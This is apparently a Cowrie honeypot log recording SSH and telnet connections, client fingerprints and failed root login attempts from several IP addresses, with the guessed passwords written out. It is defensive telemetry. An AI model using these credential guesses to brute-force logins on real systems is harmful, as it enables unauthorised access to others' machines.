{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":53740,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a0194888912","protocol":"ssh","message":"New connection: 189.203.163.10:53740 (10.17.0.5:22) [session: 6a0194888912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:00.641575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:00.646602Z","src_ip":"189.203.163.10","session":"6a0194888912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":34814,"dst_ip":"10.17.0.5","dst_port":22,"session":"1610595040be","protocol":"ssh","message":"New connection: 89.127.197.59:34814 (10.17.0.5:22) [session: 1610595040be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:00.698525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:00.703732Z","src_ip":"89.127.197.59","session":"1610595040be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:00.724825Z","src_ip":"189.203.163.10","session":"6a0194888912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.84.242","src_port":38270,"dst_ip":"10.17.0.5","dst_port":22,"session":"1897d744392e","protocol":"ssh","message":"New connection: 103.249.84.242:38270 (10.17.0.5:22) [session: 1897d744392e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:00.829259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:00.834177Z","src_ip":"103.249.84.242","session":"1897d744392e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:00.838006Z","src_ip":"89.127.197.59","session":"1610595040be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mercury1","message":"login attempt [root/mercury1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:01.007234Z","src_ip":"189.203.163.10","session":"6a0194888912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:01.070039Z","src_ip":"103.249.84.242","session":"1897d744392e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gorge","message":"login attempt [root/gorge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:01.357007Z","src_ip":"89.127.197.59","session":"1610595040be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tarsys","message":"login attempt [root/tarsys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:02.034283Z","src_ip":"103.249.84.242","session":"1897d744392e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:02.073714Z","src_ip":"189.203.163.10","session":"6a0194888912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:02.483936Z","src_ip":"89.127.197.59","session":"1610595040be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:03.271321Z","src_ip":"103.249.84.242","session":"1897d744392e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.58.70.138","src_port":60838,"dst_ip":"10.17.0.5","dst_port":22,"session":"93b6e7e7b829","protocol":"ssh","message":"New connection: 13.58.70.138:60838 (10.17.0.5:22) [session: 93b6e7e7b829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:06.084983Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:06.090918Z","src_ip":"13.58.70.138","session":"93b6e7e7b829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:06.095079Z","src_ip":"13.58.70.138","session":"93b6e7e7b829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45968,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8d296d38cd1","protocol":"telnet","message":"New connection: 192.119.13.58:45968 (10.17.0.5:23) [session: d8d296d38cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:08.023344Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":41070,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b6feb404578","protocol":"ssh","message":"New connection: 103.195.236.96:41070 (10.17.0.5:22) [session: 1b6feb404578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:12.519734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:12.524564Z","src_ip":"103.195.236.96","session":"1b6feb404578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:12.771270Z","src_ip":"103.195.236.96","session":"1b6feb404578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"brandon","message":"login attempt [root/brandon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:13.502199Z","src_ip":"103.195.236.96","session":"1b6feb404578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:14.749725Z","src_ip":"103.195.236.96","session":"1b6feb404578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.58.70.138","src_port":49980,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ad3b3ae3cc","protocol":"ssh","message":"New connection: 13.58.70.138:49980 (10.17.0.5:22) [session: 00ad3b3ae3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:18.024754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:18.031663Z","src_ip":"13.58.70.138","session":"00ad3b3ae3cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:18.051024Z","src_ip":"13.58.70.138","session":"00ad3b3ae3cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:28.024624Z","src_ip":"13.58.70.138","session":"00ad3b3ae3cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":47012,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b764d20d556","protocol":"ssh","message":"New connection: 45.119.212.99:47012 (10.17.0.5:22) [session: 9b764d20d556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:39.116101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:39.119892Z","src_ip":"45.119.212.99","session":"9b764d20d556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:39.401739Z","src_ip":"45.119.212.99","session":"9b764d20d556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234aaaa","message":"login attempt [root/1234aaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:40.662447Z","src_ip":"45.119.212.99","session":"9b764d20d556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:41.948055Z","src_ip":"45.119.212.99","session":"9b764d20d556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.643444776535034,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:45.666679Z","src_ip":"192.119.13.58","session":"d8d296d38cd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":25898,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4c46087adb8","protocol":"ssh","message":"New connection: 80.225.252.182:25898 (10.17.0.5:22) [session: a4c46087adb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:55.706348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:55.713214Z","src_ip":"80.225.252.182","session":"a4c46087adb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:55.907663Z","src_ip":"80.225.252.182","session":"a4c46087adb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123","message":"login attempt [root/Root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:56.811312Z","src_ip":"80.225.252.182","session":"a4c46087adb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:07:58.011890Z","src_ip":"80.225.252.182","session":"a4c46087adb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":60014,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a461c5f960c","protocol":"ssh","message":"New connection: 89.127.197.59:60014 (10.17.0.5:22) [session: 0a461c5f960c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:10.344741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:10.348737Z","src_ip":"89.127.197.59","session":"0a461c5f960c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:10.472457Z","src_ip":"89.127.197.59","session":"0a461c5f960c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"devuser123","message":"login attempt [root/devuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:11.006073Z","src_ip":"89.127.197.59","session":"0a461c5f960c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:12.132237Z","src_ip":"89.127.197.59","session":"0a461c5f960c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":51140,"dst_ip":"10.17.0.5","dst_port":22,"session":"eac245f9049b","protocol":"ssh","message":"New connection: 157.230.190.155:51140 (10.17.0.5:22) [session: eac245f9049b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:08:12.298121Z"}
